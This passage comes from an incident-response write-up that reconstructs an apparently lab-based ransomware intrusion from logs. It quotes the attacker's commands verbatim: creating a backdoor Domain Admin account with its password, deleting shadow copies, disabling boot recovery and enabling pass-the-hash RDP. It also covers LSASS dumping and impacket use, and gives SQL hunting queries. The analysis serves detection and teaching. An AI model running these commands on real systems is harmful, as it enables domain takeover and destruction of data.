Why this matters: previously the writeup said "impacket 5-service pattern (secretsdump-style)". The specific module is now nailed down as smbexec.py, and the attacker explicitly chose --use-vss mode. This is an operator who knows that DCSync triggers 4662 Object Access with properties=DRS-Replica-Get-Changes-All, which SIEMs commonly alert on, and preferred the VSS-shadow approach that fires only generic vssadmin + cmd.exe events. Elite-tier tradecraft choice.

DD10.2 — SVR01 pivot: the AD-persistence chain at 20:02-20:13

While the DC01 extraction was running, the attacker had an RDP session on SVR01 coming from 198.51.100.3 (operator workstation, lab external-internet segment — distinct from IIS at .10). RdpCoreTS EID 131 at 19:52:01 confirms the TCP connection. During the RDP session:

UTCCommand (SVR01, interactive RDP)Purpose
19:52:01RdpCoreTS EID 131: TCP connection from 198.51.100.3:55955Attacker's operator host opens RDP to SVR01. Type 10 logon as LAFAdmin follows.
19:58:00mmc.exe C:\Windows\system32\lusrmgr.mscLocal Users and Groups MMC. The attacker opens the GUI management console — either browsing local accounts or sanity-checking local admin rights.
19:59:00.854\\10.3.10.12\ADMIN$\rnSylwOz.exe launchedThe C2 beacon rnSylwOz.exe executed via its own ADMIN$ share path (SVR01 is 10.3.10.12). This is a self-install trick — the beacon file is already on SVR01 but the launch path is UNC-style, so Prefetch + MFT both show \\…\ADMIN$\ as the invocation. Minimizes local-artifact footprint.
20:02:14.067cmd.exe /c net user serviceaccount P@ssw0RD1! /add /domainCreates the AD persistence account. Password P@ssw0RD1!. Non-expiring, no logon-hour restrictions. Runs as LAFAdmin inherited context.
20:03:05.628powershell.exe -c net group 'Domain Admins' serviceaccount /add /domainElevates serviceaccount to Domain Admin. ~50 seconds after creation. Full forest takeover.
20:13:26.307cmd.exe /c reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /fEnables Restricted-Admin RDP on SVR01. DisableRestrictedAdmin=0 is the flag that permits PtH-over-RDP (hash-only logon). Attacker is setting up long-term PtH access without needing the cleartext password. Ten minutes after granting DA.

Net effect of the silent window: by 20:13:26 — 87 of the 103 minutes in — the attacker had (a) dumped the DC's NTDS.DIT via smbexec+VSS, (b) created a Domain Admin backdoor account (serviceaccount), and (c) opened Restricted-Admin PtH-over-RDP on SVR01 for future return. The remaining 16 minutes they used to stage follow-on tools on SVR01 (already documented in Addendum T — pre-detonation staging) before returning to IIS at 21:25:35 to steal the EC2 IAM role credentials.

DD10.3 — The two pivot IPs, disambiguated
IPHost / roleEvidence
198.51.100.10IIS-SERV-PROD (victim DMZ web server)Outbound NTLM auth to DC01 at 20:08:34 (the smbexec launch from the webshell's PowerShell process). Also the source of the initial internet-facing reconnaissance earlier in the day.
198.51.100.3Attacker operator workstation (lab-external "internet" segment)RdpCoreTS EID 131 connection to SVR01 at 19:52:01 (ports 55955, 56105). Separate from IIS. This is where the human operator was driving the mouse.

Operational implication: the attacker used two pivots in parallel — IIS for the webshell-driven non-interactive chain (smbexec NTDS dump, later IMDSv2 credential theft) and 198.51.100.3 for the interactive RDP into SVR01. That's why the process-tree analysis (Addendum PI.2) found LAFAdmin running Firefox interactively on SVR01 and opening Chrome SNSS files (Addendum Q): the operator was sitting at a keyboard, not just executing commands through the webshell. This is a red-team-style multi-channel operation, not a script-driven ransomware worm.

DD10.4 — Updated master timeline of the silent window
19:42:14Z  IIS ps_transcript quiet                         (attacker pivots to AD side)
19:52:01Z  SVR01 ← RDP from 198.51.100.3                    (interactive session opens)
19:58:00Z  SVR01 LAFAdmin runs mmc lusrmgr.msc              (GUI recon)
19:59:00Z  SVR01 rnSylwOz.exe launched via \\10.3.10.12\ADMIN$   (C2 beacon boots)
20:02:14Z  SVR01 net user serviceaccount P@ssw0RD1! /add /domain   (backdoor account)
20:03:05Z  SVR01 net group 'Domain Admins' serviceaccount /add   (DA elevation)
20:08:34Z  DC01 ← 4624 NTLM from LAFAdmin from 198.51.100.10   (IIS-originated PtH)
20:08:37Z  DC01 RemoteRegistry svc start                    (smbexec stage 1)
20:08:44Z  DC01 smbexec service "UnmfmnOL" — vssadmin list shadows
20:08:53Z  DC01 smbexec service "QsYyAARL" — vssadmin create shadow {af18f363-...}
20:08:55Z  DC01 smbexec service "XCCVTGUb" — vssadmin list shadows (capture GUID)
20:09:03Z  DC01 smbexec service "SOUwKZNf" — copy ntds.dit → ZIFylmKF.tmp
20:09:04Z  DC01 smbexec service "PovLjNTr" — vssadmin delete shadow {af18f363-...}
20:13:26Z  SVR01 reg add DisableRestrictedAdmin=0           (PtH-over-RDP enabled)
... pre-detonation staging (Addendum T) ...
21:25:35Z  IIS ps_transcript resumes — IMDSv2 PUT token     (silent window ends)
DD10.5 — Reproduction queries
-- DC01 smbexec services
SELECT time_utc, service_name, service_file_name FROM events
WHERE host='DC01' AND source_type='evtx'
  AND eid IN (7045,7036,4697)
  AND time_utc BETWEEN '2026-03-08T20:07:00Z' AND '2026-03-08T20:15:00Z';

-- DC01 LAFAdmin PtH
SELECT time_utc, eid, target_user_name, ip_address, auth_package, logon_process
FROM events WHERE host='DC01' AND source_type='evtx' AND channel='Security'
  AND target_user_name='LAFAdmin'
  AND time_utc BETWEEN '2026-03-08T20:08:30Z' AND '2026-03-08T20:09:30Z';

-- SVR01 AD-persistence chain
SELECT time_utc, substr(command_line,1,180) FROM events
WHERE host='SVR01' AND source_type='evtx' AND eid=1
  AND (command_line LIKE '%serviceaccount%' OR command_line LIKE '%DisableRestrictedAdmin%')
  AND time_utc BETWEEN '2026-03-08T20:00:00Z' AND '2026-03-08T20:15:00Z';

-- SVR01 RDP source
SELECT time_utc, eid, substr(data_json,1,100) FROM events
WHERE host='SVR01' AND source_type='evtx'
  AND channel='Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational'
  AND eid=131 AND time_utc BETWEEN '2026-03-08T19:50:00Z' AND '2026-03-08T19:55:00Z';

DD11. Eleventh-pass — the 26-minute SVR01 beacon-driven operations window: LSASS dump, second RDP session, masqueraded Firefox.exe, FileZilla install, CAB staging

DD10 documented the AD persistence events on SVR01 (account creation, DA elevation, DisableRestrictedAdmin). DD11 fills in every other action the beacon took from the moment it launched through the start of ransomware pre-staging. All of this runs with the beacon injected into Explorer.exe PID 1332 thread 10020 — the thread-identity created by the CreateRemoteThread event at 20:01:16.676 (Addendum L).

DD11.1 — LSASS dump at 20:03:30 — the thread-identity smoking gun extended

Sysmon EID 10 (ProcessAccess) at 2026-03-08T20:03:30.860Z:

SourceProcessGUID:  27E06484-5AEB-69AA-9A4B-000000000800
SourceProcessId:    1332                          ← Explorer.exe (injected target)
SourceThreadId:     10020                         ← SAME thread ID from CreateRemoteThread at 20:01:16
SourceImage:        C:\Windows\Explorer.EXE
TargetProcessId:    684                           ← lsass.exe
TargetImage:        C:\Windows\system32\lsass.exe
GrantedAccess:      0x1010                        ← PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ
CallTrace:          C:\Windows\SYSTEM32\ntdll.dll+9f3b4 | UNKNOWN(00007DF4BAAF26FB)
SourceUser:         LAF\LAFAdmin

Key interpretations:

  • Thread 10020 is the same thread that was created as NewThreadId=10020 in the EID 8 at 20:01:16.676. Two minutes and fourteen seconds later, that same thread is reading LSASS memory. Thread-identity continuity from injection to credential theft — this is the evidence-chain textbook DFIR will cite.
  • GrantedAccess=0x1010 combines PROCESS_VM_READ (0x0010) with PROCESS_QUERY_LIMITED_INFORMATION (0x1000). That is exactly the rights required by MiniDumpWriteDump — no more, no less. The beacon minimized access rights (didn't ask for PROCESS_ALL_ACCESS 0x1FFFFF), which reduces detection footprint.
  • CallTrace UNKNOWN(00007DF4BAAF26FB) — the return address is in an unbacked memory region, i.e., no loaded DLL owns that address range. That region is 0xA40000-0xA8EFFF (from our VAD dump pid.1332.vad.0xa60000-0xa8efff.dmp, SHA256 6ef6b52f…). This is floating shellcode = the reflective loader stub. CallTrace going into UNKNOWN() frames is the definitive "this is shellcode, not legit code" signal.
  • Output file: Sysmon EID 11 at 20:03:30.861 shows Explorer.EXE writing C:\Windows\Temp\abedgdaa.dmp. That is the LSASS minidump. Previously noted in Addendum W as "file was referenced but not recovered" — we now have the exact creation timestamp and source process.

Why this proves the full chain: rnSylwOz.exe (PID 9112, SYSTEM) → CreateRemoteThread → Explorer.exe (PID 1332, LAFAdmin) thread 10020 → 134 seconds later same thread 10020 calls MiniDumpWriteDump on LSASS via floating shellcode at 0xA6… → writes abedgdaa.dmp. A prosecutor could walk a jury through this in six bullet points. Every Windows EID and every artifact ties to the next.

DD11.2 — Second RDP session at 20:14:07 and the rdpclip.exe byte-channel

At 20:14:07 a full winlogon → csrss → smss → LogonUI → dwm → TSTheme → rdpclip.exe process chain fires on SVR01. This is the second interactive RDP session — the attacker disconnected and re-connected the RDP to SVR01 (possibly reconnecting with different credentials to leverage the DA rights they just granted to serviceaccount, or to re-establish clipboard-transfer for file movement).

The rdpclip.exe at 20:14:08.680 is particularly significant — this is the RDP clipboard-redirection helper. It is the mechanism by which bytes can be transferred from the attacker's operator host into SVR01 without touching the network-filtered paths. Specifically: copy file contents on the attacker workstation → RDP clipboard → paste into an explorer window on SVR01 = files transferred via the RDP control channel. Two minutes later the attacker has IamBatman.exe, Firefox.exe (masquerading binary), and FileZilla-setup.exe staged locally — this is very likely the delivery channel for those bytes.

DD11.3 — The masqueraded Firefox.exe on the Desktop (new IOC)

At 20:16:44.943 a binary named Firefox.exe runs from C:\Users\LAFAdmin\Desktop\not from C:\Program Files\Mozilla Firefox\. Prefetch confirms two distinct binaries:

Prefetch fileBinaryLocationSource
FIREFOX.EXE-E60C0AA7.pfReal FirefoxC:\Program Files\Mozilla Firefox\firefox.exeLegitimate install
FIREFOX.EXE-11BBBDDD.pfMasqueraded binaryC:\Users\LAFAdmin\Desktop\Firefox.exeAttacker-dropped (different prefetch hash = different file path & content)

The FIREFOX.EXE-11BBBDDD.pf hash is distinct — Prefetch hashes path + content, and it differs from the real Firefox install. This is a MITRE T1036.005 (Match Legitimate Name or Location) IOC. The masqueraded Firefox.exe executes before the real one (20:16:44 vs 20:16:45) and appears to be used to chain-launch the legitimate Firefox (T1036.005 + T1055-style — the attacker binary does its work then hands off to the real browser to reduce suspicion).

DD11.4 — Post-Firefox tooling: FileZilla + PlayaNext signed installer

After the masqueraded Firefox runs, the attacker downloads two executables:

UTCBinaryPurpose
20:18:46.512C:\Users\LAFAdmin\Downloads\FileZilla_3.69.6_win64_sponsored2-setup.exeFileZilla FTP client installer. Sponsored2 = bundled with adware / affiliate installer. FTP client staged to enable later exfil via FTP to attacker-controlled server.
20:18:54.456C:\Users\LAFAdmin\AppData\Local\Temp\2\PlayaNext_Chrome_signed.exe /b:1 /r:PNKBThe "sponsored2" component. PlayaNext is a known adware bundler (browser hijack / affiliate installer). Does NOT appear to be used for the attack — it's a side-effect of the attacker downloading FileZilla from an untrusted "sponsored" mirror.
20:19:18.514regsvr32 /s "C:\Program Files\FileZilla FTP Client\fzshellext_64.dll"Legit FileZilla install finishes — shell extension registered.
20:19:23.605"C:\Program Files\FileZilla FTP Client\filezilla.exe"FileZilla launched. Attacker now has a GUI FTP client ready. Evidence in Addendum EX confirms the primary exfil was S3 via AWS SDK, not FTP — FileZilla appears to be a backup exfil path the attacker set up but didn't use.
⟲ WALKED BACK by DD14.4: the KAPE target list deployed by the CTF author includes FileZillaClient explicitly — meaning the author pre-scripted FileZilla as an expected exfil path and wanted it to appear in the triage bundle. The "unmature mirror choice" reading below is therefore wrong: FileZilla (and by extension the sponsored2 installer artifact it produced) is scenario-design infrastructure, not an operator tradecraft slip.

Tradecraft note (original, superseded): the attacker's choice to download FileZilla via a "sponsored2" mirror (which bundles PlayaNext adware) is uncharacteristic of a mature operator — professional teams bring their own signed tooling rather than pulling installer-bundles. This is one of the few low-sophistication indicators in an otherwise elite-tier operation. The likely explanation: the attacker didn't pre-plan FTP exfil, decided at 20:18 they wanted a backup channel, and grabbed the first installer that a search returned.

Corrected reading (DD14.4): FileZilla's installation on SVR01 was an anticipated scenario beat. The PlayaNext adware side-effect is an artifact of the author's mirror choice when seeding the lab, not an operator behavioural signal. Treat the sponsored2 installer and PlayaNext as scenario-infrastructure artifacts, not IOCs.

DD11.5 — CAB staging: four makecab runs to build data.cab

The msupdate.exe (renamed makecab.exe) was invoked four separate times between 20:21 and 20:25 — each time iteratively adding to data.cab:

20:21:09  msupdate.exe  /f C:\ProgramData\list.txt /d CabinetName1=data.cab /d DiskDirectoryTemplate=C:\ProgramData\
20:22:31  msupdate.exe  /f C:\ProgramData\list.txt /d CabinetName1=data.cab /d DiskDirectoryTemplate=C:\ProgramData\
20:24:23  msupdate.exe  /f C:\ProgramData\list.txt /d CabinetName1=data.cab /d DiskDirectoryTemplate=C:\ProgramData\
20:25:00  msupdate.exe  /f C:\ProgramData\list.txt /d CabinetName1=data.cab /d DiskDirectoryTemplate=C:\ProgramData\
20:25:01  data.cab created on disk (USN EID 2100)

Binary metadata (from Sysmon EID 1 data_json):

  • OriginalFileName: makecab.exe
  • Description: Microsoft® Cabinet Maker
  • Company: Microsoft Corporation
  • FileVersion: 5.00 (WinBuild.160101.0800)
  • User: LAF\LAFAdmin, CurrentDirectory: C:\Users\LAFAdmin\

MFT/USN shows list.txt written/modified 5 times between 20:20:36 and 20:23:59 — the attacker iteratively appended file paths to list.txt between each makecab run, building up the staging manifest. This is a deliberately staged exfil, not a one-shot archive. By 20:25:01, data.cab was complete in C:\ProgramData\, ready for transfer.

DD11.6 — Updated SVR01 minute-map
19:52:01  RDP session 1 from 198.51.100.3:55955 opens                   (operator login)
19:58:00  mmc.exe lusrmgr.msc                                          (local recon)
19:59:00  \\10.3.10.12\ADMIN$\rnSylwOz.exe boots                       (beacon dropper)
19:59:02  EID 3 beacon phones home                                     (C2 handshake)
20:01:16  EID 8 CreateRemoteThread: rnSylwOz -> Explorer PID1332 TID10020  (injection)
20:02:14  explorer.exe spawns cmd.exe: net user serviceaccount /add    (account create)
20:03:05  explorer.exe spawns powershell: net group 'DA' /add          (DA elevation)
20:03:30  explorer.exe TID10020 reads lsass.exe (0x1010) -> writes abedgdaa.dmp  (LSASS DUMP)
20:13:26  explorer.exe spawns cmd.exe: reg add DisableRestrictedAdmin=0   (PtH-RDP)
20:14:07  RDP session 2: winlogon/csrss/rdpclip refresh                (re-connect)
20:16:13  smartscreen + notepad x 3: /Share/Project Frog.txt, /ToDo.txt, /clients.txt  (data recon)
20:16:44  C:\Users\LAFAdmin\Desktop\Firefox.exe (MASQUERADED BIN)      (T1036.005)
20:16:45  real Firefox launches                                        (hand-off)
20:18:46  FileZilla_3.69.6_win64_sponsored2-setup.exe                  (FTP client grab)
20:18:54  PlayaNext_Chrome_signed.exe (adware bundle side-effect)
20:19:18  regsvr32 FileZilla shell extension                           (install complete)
20:19:23  filezilla.exe GUI launched                                   (backup exfil path)
20:20:36  list.txt first written                                       (staging manifest)
20:21:09  msupdate.exe #1 (makecab renamed)                            (CAB build iter 1)
20:22:14  notepad list.txt                                             (manifest review)
20:22:31  msupdate.exe #2                                              (CAB build iter 2)
20:23:59  list.txt modified again                                      (manifest grow)
20:24:23  msupdate.exe #3                                              (CAB build iter 3)
20:25:00  msupdate.exe #4                                              (CAB build iter 4, final)
20:25:01  data.cab created                                             (staging complete)
DD11.7 — Reproduction queries
-- LSASS dump EID 10
SELECT time_utc, substr(data_json,1,500) FROM events
WHERE host='SVR01' AND source_type='evtx' AND eid=10
  AND time_utc BETWEEN '2026-03-08T20:03:29Z' AND '2026-03-08T20:03:32Z';

-- abedgdaa.dmp write
SELECT time_utc, target_filename FROM events
WHERE host='SVR01' AND source_type='usn' AND target_filename='abedgdaa.dmp';

-- Masqueraded Firefox prefetch
SELECT time_utc, target_filename FROM events
WHERE host='SVR01' AND source_type='usn'
  AND target_filename LIKE 'FIREFOX.EXE-%.pf';
-- -> two distinct prefetch hashes: E60C0AA7 (legit) and 11BBBDDD (masqueraded)

-- makecab iterations
SELECT time_utc, substr(command_line,1,200) FROM events
WHERE host='SVR01' AND source_type='evtx' AND eid=1
  AND command_line LIKE '%msupdate%' ORDER BY time_utc;

DD12. Twelfth-pass — ransomware fan-out anatomy: atexec.py from SVR01, a botched first attempt, and the 10-minute window an alert IR could have caught

Previous writeup framed ransomware detonation as "22:16:50 SVR01 onwards" — that was wrong by eighteen minutes. The real detonation started at 21:58:34 on WS02 with a botched first attempt, then after a 10-minute troubleshooting pause resumed at 22:08:40 as a clean wave across all 5 domain hosts. Also corrected: the detonation was launched via impacket atexec.py, not smbexec.py (the tool used earlier for the DC01 NTDS dump).

DD12.1 — Tool attribution: atexec.py (not smbexec.py or wmiexec.py)

Every ransomware-fan-out cmd.exe on every host has the same parent process:

ParentImage:         C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
ChildCommandLine:    cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\<8char>.tmp 2>&1

The parent is the Windows Task Scheduler service (-s Schedule). That is the unique fingerprint of impacket atexec.py — it creates a one-time scheduled task on the remote host, triggers it, and deletes it. Compare:

Impacket moduleParent process of executed cmdOther signature
smbexec.pyservices.exeRandom 8-char mixed-case service names (e.g. UnmfmnOL)
wmiexec.pyWmiPrvSE.exe (hosted by svchost -k DcomLaunch)WMI-Activity event ID 11
atexec.pysvchost.exe -k netsvcs -p -s ScheduleTaskScheduler/Operational EID 200+201, 8-char random output file in %TEMP%
psexec.pyPSEXESVC.exeNamed-pipe IPC in MFT

Attribution matters because the attacker used two different impacket modules in one operation: smbexec.py --use-vss for the DC01 NTDS dump (DD10.1), and atexec.py for ransomware distribution (here). This is deliberate tool-variance — a per-tool Sigma rule would only catch half the attack.

DD12.2 — The botched first attempt (WS02, 21:58:34) and its leakage artifact

The attacker's first detonation attempt went out at 21:58:34 to WS02 alone:

21:58:34.024  cmd /C cmd /c \\laf-dc02\sysvol\sysAV.bat ; \\laf-dc02\sysvol\IamBatman.exe encrypt C:\ > iEMKOmOw.tmp 2>&1
                                       ^
                                       Unix-style ';' separator — cmd.exe treats this as a literal argument

The attacker made a shell-syntax error: ; is a PowerShell / Unix command separator, not a cmd.exe separator. cmd.exe passed the ; and the IamBatman.exe encrypt C:\ string as arguments to sysAV.bat, not as a second command. Result:

  • sysAV.bat ran (ignoring the extra arguments) — 21:58:36 vssadmin delete shadows /all /quiet fired, 21:58:37 bcdedit /set recoveryenabled No fired, 21:58:37 bcdedit /set bootstatuspolicy ignoreallfailures fired.
  • IamBatman.exe did not launch — no \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\ process creation at 21:58.

This is a 10-minute "detection opportunity": between 21:58:36 (shadow copies deleted on WS02) and 22:08:40 (the corrected fan-out reaches WS02), an attentive SOC could have fired on:

  • Sigma rule proc_creation_win_vssadmin_delete_shadows (anti-recovery IOC)
  • Sigma rule proc_creation_win_bcdedit_recovery_disable (2x firings)
  • atexec.py fingerprint (svchost-Schedule -> cmd.exe launching UNC .bat from SYSVOL)

None of those rules fired at 21:58. The attacker got 10 minutes of free debugging.

DD12.3 — Operator interlude: Notepad inspection of sysAV.bat

Between the botched attempt and the corrected fan-out the attacker read sysAV.bat in Notepad from multiple hosts to figure out why their chain didn't fire:

UTCHostNotepad invocationParent
22:04:42.787WS02Notepad.exe "\\LAF-DC02\sysvol\sysAV.bat"dllhost.exe /Processid:{CA6CC9F1-...} — COM-hosted Notepad (Win11 UWP launch) — suggests attacker used Explorer shell's right-click-open via remote RDP/RDS session
22:07:07.928DC02notepad sysAV.batInteractive shell (attacker directly on DC02 via SYSVOL-local path)
22:08:10.946DC02notepad sysAV.bat (again)Re-reading — likely confirming what the script does

Interpretation: the attacker opened the SYSVOL-hosted batch in Notepad at least 3 times in 3 minutes across 2 hosts — confirming that sysAV.bat internally launches IamBatman.exe and the explicit ; chain in the first attempt was redundant (and broke cmd parsing). After they convinced themselves sysAV.bat is self-contained, they re-fired with the corrected syntax.

DD12.4 — The corrected fan-out: 6 hosts, one orchestrator (SVR01), 4-minute window

Every fan-out auth is NTLM Pass-the-Hash as LAFAdmin from 10.3.10.12 (SVR01). The attacker used SVR01 — which they'd owned for 2 hours — as the single orchestration point to PtH-smbexec into every other host:

UTCVictim hostSource IPatexec tmp fileIamBatman launch
22:08:38.685 / 22:08:40.179WS0210.3.10.12 (SVR01)C:\Windows\Temp\mIglpUCO.tmp22:08:40.450
22:09:14.827 / 22:09:16.343WS0110.3.10.12 (SVR01)C:\Windows\Temp\OlgyLYbd.tmp22:09:16.939
22:09:41.436 / 22:09:42.984SVR01 (self)10.3.10.12 (self)C:\Windows\Temp\pRlGOUon.tmp22:09:46.343
22:10:12.404 / 22:10:14.004DC0110.3.10.12 (SVR01)C:\Windows\Temp\Kypxgyzl.tmp22:10:14.302
22:10:51.008 / 22:10:52.534DC0210.3.10.12 (SVR01)C:\Windows\Temp\WZWkUVGL.tmp22:10:54.143

Cadence: the per-host delay between fan-out triggers is 36 seconds (WS02->WS01), 26 seconds (WS01->SVR01), 28 seconds (SVR01->DC01), 38 seconds (DC01->DC02). Roughly 30 seconds between each — consistent with a manually-typed loop (for host in list; do atexec.py ...; sleep 30; done) rather than a fully-parallel fire. The 30-second gap also happens to be enough for vssadmin delete shadows to finish locally before IamBatman starts on the same host — operational ordering.

Host order: workstations (WS02, WS01) first, then a server (SVR01), then both DCs (DC01, DC02) last. This is the reverse of how defenders would prioritize — attackers ransom endpoints first so defenders can't disable AD to contain them, then kill DCs last to maximize disruption. DC02 is dead-last because DC02 hosts the SYSVOL share the attacker is distributing from; losing DC02 first would break the whole fan-out.

DD12.5 — Per-host detonation payload on each victim

When sysAV.bat runs on any host, it fires a consistent 4-step payload (verified identical on SVR01, WS02, DC01, etc.):

# Step 1: wipe VSS shadow copies (anti-recovery, MITRE T1490)
vssadmin.exe  delete shadows /all /quiet

# Step 2: disable Windows Recovery Environment (MITRE T1490)
bcdedit  /set {default} recoveryenabled No

# Step 3: disable boot-status-policy so failed boots don't launch WinRE
bcdedit  /set {default} bootstatuspolicy ignoreallfailures

# Step 4: launch the ransomware encryptor
\\LAF-DC02\sysvol\IamBatman.exe  encrypt C:\

Note the encrypt C:\ argument: IamBatman.exe takes a subcommand and a target path. This is a parameterized ransomware binary — could also be invoked with different targets (the attacker might have variants like encrypt \\\\svr01\\D$ etc., not fired here). This is more like a CLI tool than a fire-and-forget worm.

DD12.6 — Corrected master-timeline insert
21:08:28  SVR01 LogDel.bat fires (first log-clear; cmd -> wevtutil cl x 6, attrib Default.rdp)
21:58:34  WS02 atexec BOTCHED first fire (';' argument confused cmd) — vssadmin + bcdedit ran,
          IamBatman did NOT launch. 10-minute detection window.
22:04:42  WS02 Notepad opens \\LAF-DC02\sysvol\sysAV.bat (troubleshooting)
22:07:07  DC02 notepad sysAV.bat
22:08:10  DC02 notepad sysAV.bat (again)
22:08:38  WS02 ← atexec (corrected) from 10.3.10.12 ; IamBatman 22:08:40.450
22:09:14  WS01 ← atexec from 10.3.10.12 ; IamBatman 22:09:16.939
22:09:41  SVR01 ← atexec from 10.3.10.12 ; IamBatman 22:09:46.343
22:10:12  DC01 ← atexec from 10.3.10.12 ; IamBatman 22:10:14.302
22:10:51  DC02 ← atexec from 10.3.10.12 ; IamBatman 22:10:54.143  (last — SYSVOL host)
22:16:50  SVR01 encryption cascade peaks (v2 timeline's "start" — was actually mid-cascade)
22:46:45  SVR01 memory image captured (beacon still ESTABLISHED · Addendum W) — NOT the last encrypt
22:56:42  brndlog.txt.bWqQUx on WS02 — ACTUAL last encrypt (DD13.5 corrects the v2 "22:46:45" end-time by +10 min)
DD12.7 — Corrections to earlier writeup claims
Previous claimCorrection
"Ransomware launch at 22:16:50 on SVR01"First launch at 21:58:34 on WS02 (botched). First successful launch at 22:08:40.450 on WS02. 22:16:50 on SVR01 is mid-cascade, not start.
"Impacket used to execute sysAV.bat"Specifically impacket atexec.py — Task Scheduler service parent + 8-char random .tmp output file. Distinct from the smbexec.py used earlier for NTDS dump.
"SYSVOL as distribution vector"Confirmed and extended: sysAV.bat + IamBatman.exe both on \\LAF-DC02\sysvol\. DC02 hosted because it's the sysvol owner; that's why DC02 was the LAST host detonated (preserve distribution channel until the end).
"LogDel.bat at end of operation"LogDel.bat fired twice: first at 21:08:28 (mid-operation cleanup, before WS02 detonation), second during the detonation cascade (Addendum H). First firing matters for detection: an IR watching for wevtutil-cl 5x in <2 seconds had an 50-minute early-warning window before the ransom.
DD12.8 — Reproduction queries
-- Fan-out IamBatman.exe launches
SELECT host, time_utc, substr(command_line,1,120) FROM events
WHERE source_type='evtx' AND eid=1 AND command_line LIKE '%IamBatman%'
ORDER BY time_utc;

-- atexec.py parent fingerprint (svchost -s Schedule)
SELECT host, time_utc, substr(parent_command_line,1,100), substr(command_line,1,150) FROM events
WHERE source_type='evtx' AND eid=1 AND command_line LIKE '%sysAV%'
  AND parent_image NOT LIKE '%cmd.exe%';

-- PtH auths on each victim during fan-out
SELECT host, time_utc, target_user_name, ip_address, auth_package FROM events
WHERE source_type='evtx' AND channel='Security' AND eid=4624
  AND target_user_name='LAFAdmin' AND ip_address='10.3.10.12'
  AND time_utc BETWEEN '2026-03-08T22:00:00Z' AND '2026-03-08T22:15:00Z';

-- Botched WS02 first attempt vs corrected
SELECT time_utc, substr(command_line,1,200) FROM events
WHERE host='WS02' AND source_type='evtx' AND eid=1
  AND time_utc BETWEEN '2026-03-08T21:58:30Z' AND '2026-03-08T22:10:00Z'
  AND (command_line LIKE '%sysAV%' OR command_line LIKE '%vssadmin%' OR command_line LIKE '%bcdedit%' OR command_line LIKE '%IamBatman%' OR command_line LIKE '%Notepad%')
ORDER BY time_utc;

DD13. Thirteenth-pass — IamBatman.exe on disk: extension .bWqQUx, narrow targeting (.txt dominates), 6,023 encrypted files + 2,530 ransom notes, DC02 anomaly, end-time corrected to 22:56:42

DD12 documented how IamBatman.exe was launched. DD13 looks at what it actually did on disk — file extensions, ransom-note pattern, per-host encryption rate, and cross-host totals — and finds a number of corrections to v2's ransomware-impact section.

DD13.1 — The encryption scheme
  • Encrypted-file extension suffix: .bWqQUx (fixed 6-character alphanumeric, same on every host and every file)
  • Ransom note filename: README_bWqQUx.txt (fixed; uses the same bWqQUx tag)
  • Rename pattern: foo.txtfoo.txt.bWqQUx (extension appended, not replaced)
  • Note drop policy: one README_bWqQUx.txt per directory — 2,530 notes dropped corpus-wide, implying IamBatman walked 2,530 directories
  • Self-encryption: README_bWqQUx.txt.bWqQUx appears 21 times — IamBatman re-encrypted its own ransom notes on a second pass. Confirms multi-pass encryption (or a non-idempotent directory walk).

The bWqQUx tag is static across all hosts — so this was either (a) hard-coded into the IamBatman binary, or (b) generated once and written into all 5 copies before distribution. Either way, a corpus-wide search for .bWqQUx is a 100% recall detection rule for this intrusion.

DD13.2 — Extension scope — heavily .txt-weighted (not typical ransomware)
ExtensionCount% of encrypted files
.txt5,16391.6%
.pdf2043.6%
.csv1723.1%
other (various)841.5%
.xlsx60.1%
.docx60.1%
Total encrypted files5,635100%
README_bWqQUx.txt (notes dropped)2,530— (dropped, not encrypted)

This is a narrow and unusual target scope. Real-world ransomware (LockBit, Conti, BlackCat) typically hits 50+ extensions: databases (.mdf, .ldf, .ndf, .bak), archives (.zip, .rar, .7z), media (.jpg, .png, .mp4), VM images (.vmdk, .vhdx), source code (.py, .js, .cs, .java), office docs. IamBatman hits essentially only .txt plus a token of .pdf / .csv / .xlsx / .docx. This narrow scope signals either:

  • The attacker built IamBatman.exe for this specific engagement, not as a general ransomware tool, and sized its target list to what they needed (a demonstration of impact without eating days of encryption wallclock).
  • The CLI mode encrypt C:\ used this pass has a restrictive default extension list; other modes (encrypt --all C:\ etc.) may exist.

Either interpretation bolsters DD12.5's conclusion that IamBatman is a parameterized CLI tool built by the operator, not a commodity ransomware loader.

DD13.3 — Per-host encryption statistics
HostFiles encryptedFirst encryptedLast encryptedDurationRate (files/sec)
WS022,01422:08:40.47822:56:42.54948 min 2 s0.70
WS011,88422:09:16.96822:55:37.03946 min 20 s0.68
SVR011,24122:09:46.35722:44:25.91434 min 39 s0.60
DC0149622:10:14.52422:48:36.71538 min 12 s0.22
DC0238822:10:54.18322:10:59.5575.4 seconds72
TOTAL6,02322:08:4022:56:4248 min
⟲ WALKED BACK by DD14.1 (below): the "72 f/s vs 0.2–0.7 f/s = abort" reading is wrong. The rate gap is directory-walk time, not encryption speed. Domain Controllers simply hold very few user .txt / .pdf / .csv documents in IamBatman's narrow target scope (workstations and file servers have dense user-document trees; DCs do not). Every host ran the same binary with the same parameters and completed cleanly — DC02 just had less to do. No self-abort, no kill-switch flag.

DC02 is 100x faster than every other host. 388 files in 5.4 seconds = 72 files/second versus the 0.2-0.7 files/second every other host sustained. There are two reasonable explanations:

  • Hypothesis A: DC02 encryption was aborted after 5 seconds — the attacker (or a failsafe) stopped IamBatman early on DC02 because encrypting a DC's SYSVOL would lock out the running fan-out script. (Preserved for transparency; walked back by DD14.1.)
  • Hypothesis B: DC02's IamBatman run used a different CLI flag (e.g., encrypt --minimal) that only touches a small index of files. (Walked back — same binary, same parameters on every host.)

Corrected reading (DD14.1): DC02's 5.4-second completion is a clean, successful run against a directory-sparse DC. The fan-out order (DC02 last) is explained simply by DC02 being the SYSVOL source that had to keep serving reads to the other hosts during the cascade — not by any kill-switch logic in IamBatman.

DD13.4 — Critical AD files NOT encrypted

Explicit negative evidence — none of these files got a .bWqQUx extension on any host:

  • ntds.dit (AD database)
  • SYSTEM, SAM, SECURITY hives (registry)
  • ntuser.dat (user registry)

